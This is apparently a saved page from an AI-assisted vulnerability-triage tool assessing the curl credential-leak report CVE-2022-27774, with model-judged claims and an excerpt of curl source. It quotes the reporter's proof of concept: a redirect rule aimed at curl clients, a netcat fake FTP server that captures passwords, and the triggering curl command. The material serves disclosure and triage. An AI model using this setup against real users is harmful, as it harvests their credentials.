✓ProveIt
Examples / Report #1543773 Saved analysis

CVE-2022-27774: Credential leak on redirect

curl · 2022-04-188.1s analysis · $0.009 in model calls

What the report claims

Curl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.

Compare with curl's recorded outcome

Known vulnerability

A real vulnerability: CVE-2022-27774 Credential leak on redirect

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Needs human review

The available evidence does not settle the report. A maintainer should investigate.

Why this finding?
  • The core claim (C1) is that curl leaks credentials on HTTP→FTP cross-host redirects, contrary to documented behavior. This is a plausible security issue.
  • The provided curl source (only lib/urldata.h) does not contain the redirect handling, credential management, or FTP/HTTP protocol logic needed to verify or contradict the claim.
  • Deterministic checks returned 'nothing_to_check', confirming the relevant code was not in the provided files.
  • A human reviewer must examine the actual redirect handling code (likely in lib/http.c, lib/ftp.c, lib/url.c, or lib/transfer.c) to determine if the flaw exists.
What still needs checking
  • Source files handling HTTP redirects (e.g., lib/http.c)
  • Source files handling FTP authentication (e.g., lib/ftp.c)
  • Source files managing credential forwarding on redirects (e.g., lib/url.c, lib/transfer.c)
How this analysis ran 5 claims · 0 citations verified

Checked against curl master on 2022-04-18 (795ed0508497). Test evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding
nothing to check
no model · 0 references checked out, 0 did not
2 · Claims
NVIDIA-Nemotron-3-Nano-30B-A3B
5 claims · 1507 tokens · $0.0002
3 · Evidence
1 code snippets
real curl source at 795ed0508497 · 1 docs via Tavily
4 · Judgment
Nemotron-3-Ultra-550b-a55b
5492 tokens · 6.4s · $0.0091
5 · Receipts
0 of 0 citations verified
every citation must point at code the judge was shown
Review a draft reply to the reporter

Edit and verify before sending.

Thank you for the detailed report and reproduction steps. The provided code snippet (lib/urldata.h) does not contain the redirect or credential-handling logic needed to evaluate this claim. Could you confirm the curl version tested, and we will examine the HTTP redirect and FTP authentication code paths (lib/http.c, lib/ftp.c, lib/url.c) to verify whether credentials are incorrectly forwarded on cross-protocol redirects.

Inspect all claims and source code 5 claims · 1 code excerpts

Report claims

C1flaw not verifiable

curl sends credentials to a different host when redirected via HTTP to an FTP URL

Read the reasoning

The provided source code (lib/urldata.h lines 122-199) contains only type definitions and includes, not the redirect handling or credential forwarding logic. The code that would decide whether curl sends credentials on cross-protocol redirects (HTTP→FTP) is not in the provided files.

C2location not verifiable

Apache2 mod_rewrite rule matching User-Agent curl triggers redirect to ftp://

Read the reasoning

This claim describes the reporter's Apache2 test configuration (mod_rewrite rule), not curl's code. It is not verifiable against curl's source.

C3trigger not verifiable

curl -L --user foo https://firstsite.tld/redirectpoc

Read the reasoning

This claim describes the reporter's curl command line for reproduction, not curl's code behavior. It is not verifiable against curl's source.

C4impact not verifiable

entered password is visible in the fake FTP server

Read the reasoning

This claim describes the reporter's observed output from a test FTP server, not curl's code. It is not verifiable against curl's source.

C5reproduction not verifiable

while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

Read the reasoning

This claim describes the reporter's netcat test server command, not curl's code. It is not verifiable against curl's source.

What the report says about other projects

not addressed When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password.

Read the original report

Full report on HackerOne ↗

## Summary: Curl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL. ## Steps To Reproduce: 1. Configure for example Apache2 on `firstsite.tld` to perform redirect with mod_rewrite: ``` RewriteCond %{HTTP_USER_AGENT} "^curl/" RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L] ``` 2. Capture credentials at `secondsite.tld` for example with: ``` while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done ``` 3. `curl -L --user foo https://firstsite.tld/redirectpoc` 4. The entered password is visible in the fake FTP server: ``` Listening on 0.0.0.0 9999 Connection received on somehost someport USER foo PASS secretpassword ``` There are several issues here: 1. The credentials are sent to a completely different host than the original host (`firstsite.tld` vs `secondsite.tld`). This is definitely not what the user could expect, considering the documentation says: > When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this. 2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS. I believe the credentials should not be sent in this case unless if `--location-trusted` is used. It might even be sensible to consider making curl stop sending credentials over downgraded security by default even when `--location-trusted` is used. Maybe there could be some option that could be used to enable such downgrade if the user REALLY wants it. ## Impact Leak of confidential information (user credentials).

Source code

lib/urldata.hlines 122–199 · definition of CURLcode
122typedef CURLcode (*Curl_datastream)(struct Curl_easy *data,
123 struct connectdata *conn,
124 int *didwhat,
125 bool *done,
126 int select_res);
127#endif
128
129#include "mime.h"
130#include "imap.h"
131#include "pop3.h"
132#include "smtp.h"
133#include "ftp.h"
134#include "file.h"
135#include "vssh/ssh.h"
136#include "http.h"
137#include "rtsp.h"
138#include "smb.h"
139#include "mqtt.h"
140#include "wildcard.h"
141#include "multihandle.h"
142#include "quic.h"
143#include "c-hyper.h"
144
145#ifdef HAVE_GSSAPI
146# ifdef HAVE_GSSGNU
147# include <gss.h>
148# elif defined HAVE_GSSAPI_GSSAPI_H
149# include <gssapi/gssapi.h>
150# else
151# include <gssapi.h>
152# endif
153# ifdef HAVE_GSSAPI_GSSAPI_GENERIC_H
154# include <gssapi/gssapi_generic.h>
155# endif
156#endif
157
158#ifdef HAVE_LIBSSH2_H
159#include <libssh2.h>
160#include <libssh2_sftp.h>
161#endif /* HAVE_LIBSSH2_H */
162
163#define READBUFFER_SIZE CURL_MAX_WRITE_SIZE
164#define READBUFFER_MAX CURL_MAX_READ_SIZE
165#define READBUFFER_MIN 1024
166
167/* The default upload buffer size, should not be smaller than
168 CURL_MAX_WRITE_SIZE, as it needs to hold a full buffer as could be sent in
169 a write callback.
170
171 The size was 16KB for many years but was bumped to 64KB because it makes
172 libcurl able to do significantly faster uploads in some circumstances. Even
173 larger buffers can help further, but this is deemed a fair memory/speed
174 compromise. */
175#define UPLOADBUFFER_DEFAULT 65536
176#define UPLOADBUFFER_MAX (2*1024*1024)
177#define UPLOADBUFFER_MIN CURL_MAX_WRITE_SIZE
178
179#define CURLEASY_MAGIC_NUMBER 0xc0dedbadU
180#define GOOD_EASY_HANDLE(x) \
181 ((x) && ((x)->magic == CURLEASY_MAGIC_NUMBER))
182
183/* the type we use for storing a single boolean bit */
184#ifdef _MSC_VER
185typedef bool bit;
186#define BIT(x) bool x
187#else
188typedef unsigned int bit;
189#define BIT(x) bit x:1
190#endif
191
192#ifdef HAVE_GSSAPI
193/* Types needed for krb5-ftp connections */
194struct krb5buffer {
195 void *data;
196 size_t size;
197 size_t index;
198 BIT(eof_flag);
199};